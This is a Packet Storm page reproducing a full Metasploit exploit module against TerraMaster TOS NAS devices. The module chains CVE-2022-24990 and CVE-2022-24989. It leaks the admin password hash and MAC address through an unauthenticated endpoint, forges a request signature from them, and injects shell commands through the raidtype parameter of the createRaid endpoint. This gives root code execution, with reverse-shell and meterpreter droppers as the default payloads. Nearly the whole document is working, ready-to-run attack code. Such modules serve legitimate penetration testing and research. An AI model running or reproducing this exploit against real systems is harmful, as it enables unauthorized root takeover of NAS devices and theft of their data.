what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TerraMaster TOS 4.2.29 Remote Code Execution

TerraMaster TOS 4.2.29 Remote Code Execution
Posted Jun 13, 2023
Authored by h00die-gr3y, Octagon Networks, 0xf4n9x | Site metasploit.com

This Metasploit module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS versions 4.2.29 and below by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information" and CVE-2022-24989, "Authenticated remote code execution". Exploiting vulnerable endpoint api.php?mobile/webNasIPS leaking sensitive information such as admin password hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint api.php?mobile/createRaid with POST parameters raidtype and diskstring to execute remote code as root on TerraMaster NAS devices.

tags | exploit, remote, root, php, vulnerability, code execution
advisories | CVE-2022-24989, CVE-2022-24990
SHA-256 | 7e730a3eca39b8e6d103226c6deb4b1c15b54a16ab70d8fb24d2e419a087f25d

TerraMaster TOS 4.2.29 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'
require 'time'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29
and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information"
and CVE-2022-24989, "Authenticated remote code execution".
Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password
hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint
`api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root
on TerraMaster NAS devices.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'Octagon Networks', # Discovery
'0xf4n9x' # POC
],
'References' => [
['CVE', '2022-24990'],
['CVE', '2022-24989'],
['URL', 'https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/'],
['URL', 'https://github.com/0xf4n9x/CVE-2022-24990'],
['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990']
],
'DisclosureDate' => '2022-03-07',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8181,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])
])
end

def get_data
# Initialise variable data to store the leaked data
@data = {}

# Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`
# CVE-2022-24990
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),
'headers' => {
'User-Agent' => 'TNAS'
}
})
if res && res.code == 200 && res.body.include?('webNasIPS successful')
# Parse the JSON response and get the data such as admin password hash and MAC address
res_json = res.get_json_document
unless res_json.blank?
@data['password'] = res_json['data'].split('PWD:')[1].split('SAT')[0].strip
@data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip
@data['key'] = @data['mac'][6..11] # last three MAC address entries
@data['timestamp'] = Time.new.to_i.to_s
# derive signature
@data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])
end
end
end

def tos_encrypt_str(key, str_to_encrypt)
id = key + str_to_encrypt
return Digest::MD5.hexdigest(id.encode('utf-8'))
end

def execute_command(cmd, _opts = {})
# Execute RCE using vulnerable endpoint `api.php?mobile/createRaid`
# CVE-2022-24989
diskstring = Rex::Text.rand_text_alpha_upper(4..8)

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/createRaid'),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'User-Agent' => 'TNAS',
'Authorization' => @data['password'],
'Signature' => @data['signature'],
'Timestamp' => @data['timestamp']
},
'vars_post' => {
'raidtype' => ';' + cmd,
'diskstring' => diskstring.to_s
}
})
end

def get_terramaster_info
# get Terramaster CPU architecture (X64 or ARM64) and TOS version
@terramaster = {}
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')
})

if res && res.body && res.code == 200
# get the version information from the request response like below:
# <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>
return if res.body.match(/ver=.+?"/).nil?

version = res.body.match(/ver=.+?"/)[0]
# check if architecture is ARM64 or X64
if version.match(/_A/)
@terramaster['cpu_arch'] = 'ARM64'
elsif version.match(/_S/) || version.match(/_Q/)
@terramaster['cpu_arch'] = 'X64'
else
@terramaster['cpu_arch'] = 'UNKNOWN'
end

# strip TOS version number and remove trailing double quote.
@terramaster['tos_version'] = version.split('.0_')[1].chop
end
end

def check
get_terramaster_info
return CheckCode::Safe if @terramaster.empty?

if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.29')
return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
end

CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")
end

def exploit
get_data
fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager(linemax: 65536)
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close